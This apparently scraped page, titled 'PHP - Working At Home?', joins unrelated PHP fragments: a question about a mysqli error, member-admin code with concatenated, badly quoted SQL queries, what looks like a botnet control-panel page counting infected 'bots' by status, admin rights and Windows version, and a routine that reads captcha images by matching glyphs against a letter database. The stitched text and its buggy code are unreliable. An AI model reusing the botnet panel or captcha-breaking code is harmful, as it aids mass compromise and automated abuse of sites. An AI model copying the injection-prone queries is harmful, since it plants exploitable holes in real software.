PHP - Working At Home?

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in /home/myritebook/public_html/footer.php on line 13

I am trying to fix the above error.

Please Help.

code is given below:

<?php
include 'db.php';

if ($conn) {
   echo "Database Found ";
}
else {
 die("Database connection failed");
}
$find_count=mysqli_query($conn,"SELECT * FROM count_number");

while($row=mysqli_fetch_array($find_count));
{
$current_count=$row['count'];
$new_count=$current_count+1;

try{
$sql= "UPDATE count_number SET count = '$new_count' where id=1";  
$update_count=mysqli_query ($conn,$sql);

}

catch(Exception $e){
echo 'error;'.$e->getMessage();
}
}
?>

						case "unsuspend":
							$setupd = array("status" => "Active");
							$db->update("members", $setupd, "id=" . $mid);
							break;

							case "activate":
                                $setupd = array("status" => "Active");
							    $db->update("members", $setupd, "id=" . $mid);
							{
								if ($settings['referral_contest'] == 'yes') {
									$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );

									if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
										$referrer = $usr['ref1'];

										if ($referrer != 0) {
											$today_var = $settings['referral_reset'];
											$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM  referral_stats WHERE user_id=" . $referrer );

											if ($chk == 0) {
												$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
												$db->insert( 'referral_stats', $data );
											} 
else {
												$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
											}
										}
									}
								}
								
							
							break;

						case "delete":
							$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
							deletemember($mid);

							if ($userdata['username'] != "BOT") {
								$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
							}


							if ($userdata['ref1'] != 0) {
								$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
							}
							break;

<?php
    include_once('config.php');
    
    $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
    $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
    $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
    $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
    $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
    $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
    $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
    $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
    $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
    $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
    $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));

    $onlinecount = 0;
    $offlinecount = 0;
    $deadcount = 0;

    $admintruecount = 0;
    $adminfalsecount = 0;

    $windows8count = 0;
    $windows7count = 0;
    $windowsvistacount = 0;
    $windowsxpcount = 0;
    $unknowncount = 0;

    while($row = mysql_fetch_array($online)){
        $onlinecount++;
    }
                 
    while($row = mysql_fetch_array($offline)){
        $offlinecount++;
    }
                 
    while($row = mysql_fetch_array($dead)){
        $deadcount++;
    }
                 
    while($row = mysql_fetch_array($admintrue)){
        $admintruecount++;
    }
                 
    while($row = mysql_fetch_array($adminfalse)){
        $adminfalsecount++;
    }
    
    while($row = mysql_fetch_array($windows8)){
        $windows8count++;
    }
                 
    while($row = mysql_fetch_array($windows7)){
        $windows7count++;
    }
                 
    while($row = mysql_fetch_array($windowsvista)){
        $windowsvistacount++;
    }
                 
    while($row = mysql_fetch_array($windowsxp)){
        $windowsxpcount++;
    }
                 
    while($row = mysql_fetch_array($unknown)){
        $unknowncount++;
    }

    $statustotal    = $onlinecount + $offlinecount + $deadcount;
    $admintotal     = $admintruecount + $adminfalsecount;
    $sototal        = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>

$name = "img/".rand(1,9999999).".png";
$myFile = $name;
$fh = fopen($myFile, 'w') or die("can't open file");
$stringData = $html;
fwrite($fh, $stringData);
fclose($fh);
$file=$name;
$fst=file_get_contents($file);
$im=imagecreatefromstring($fst);
imagefilter($im, IMG_FILTER_GRAYSCALE);
imagefilter($im, IMG_FILTER_NEGATE);
//Convert to Grey Scale
for($i=0;$i<123;$i++){
for($j=0;$j<50;$j++){
$px=imagecolorat($im,$i,$j);
if($px<0x303030){
imagesetpixel($im,$i,$j,0);
}else{
imagesetpixel($im,$i,$j,0xffffff);
}
}
}
$database = unserialize(@file_get_contents("db.txt"));
if($database === false) $database = array();
// modify the database if needed
if($_SERVER['REQUEST_METHOD'] == 'POST'){
	if($_POST['submit'] == 'Add')
		$database[$_POST['ident']] = substr($_POST['letter'], 0, 1);
	if($_POST['submit'] == 'Del')
		unset($database[$_POST['ident']]);
	if($fh = @fopen('db111.txt', 'w+')){
		fwrite($fh, serialize($database));
		fclose($fh);
}
}else{
$newimage = true;
}
$width   = 130;
$height  = 40;
$captcha_gridstart   =1;
$captcha_gridspace   =2;
$letters = findletters($im, $width, $height, $captcha_gridstart, $captcha_gridspace);
$count   = count($letters);
$cellw   = ($count > 0) ? intval(100 / $count) : 0;
//dispeckle the image and GET co-ordinates of the characters of captcha image and return them. 
function findletters($image, $width, $height, $gridstart, $gridspace){
	$offsets  = array(); $o = 0;
	$atstartx = true;
	for($x = 0; $x < $width; $x++){
		$blankx = true;
		for($y = 0; $y < $height; $y++){
			if(imagecolorat($image, $x, $y) == 0){
				$blankx = false;
				break;
			}
		}
		if(!$blankx && $atstartx){
			$offsets[$o]['startx'] = $x;
			$atstartx = !$atstartx;
		}else if($blankx && !$atstartx){
			$offsets[$o]['endx']   = $x;
			$atstartx = !$atstartx;
			$o++;
		}
	}
	$count = $o;
	for($o = 0; $o < $count; $o++){
		for($y = 0; $y < $height; $y++){
			$blanky = true;
			for($x = $offsets[$o]['startx']; $x < $offsets[$o]['endx']; $x++){
				if(imagecolorat($image, $x, $y) == 0){
					$blanky = false;
					break;
				}
			}
			if(!$blanky){
				$offsets[$o]['starty'] = $y;
				break;
			}
		}
		for($y = $height-1; $y > $offsets[$o]['starty']; $y--){
			$blanky = true;
			for($x = $offsets[$o]['startx']; $x < $offsets[$o]['endx']; $x++){
				if(imagecolorat($image, $x, $y) == 0){
					$blanky = false;
					break;
				}
			}
			if(!$blanky){
				$offsets[$o]['endy'] = $y;
				break;
			}
		}
	}
	for($o = 0; $o < $count; $o++){
		$offsets[$o]['ident'] = "";
		for($x = $offsets[$o]['startx'] + $gridstart; $x < $offsets[$o]['endx']; $x += $gridspace){
			for($y = $offsets[$o]['starty'] + $gridstart; $y < $offsets[$o]['endy']; $y += $gridspace){
				$offsets[$o]['ident'] .= ((imagecolorat($image, $x, $y) == 0) ? "0" : "1");
				#echo $offsets[$o]['ident'].'<br>';
			}
		}
	}
	return $offsets;
}
$a="";
foreach($letters as $letter){
$asciiletter = $database[$letter['ident']];
if(!empty($asciiletter)) {
$a.=$asciiletter;
}
}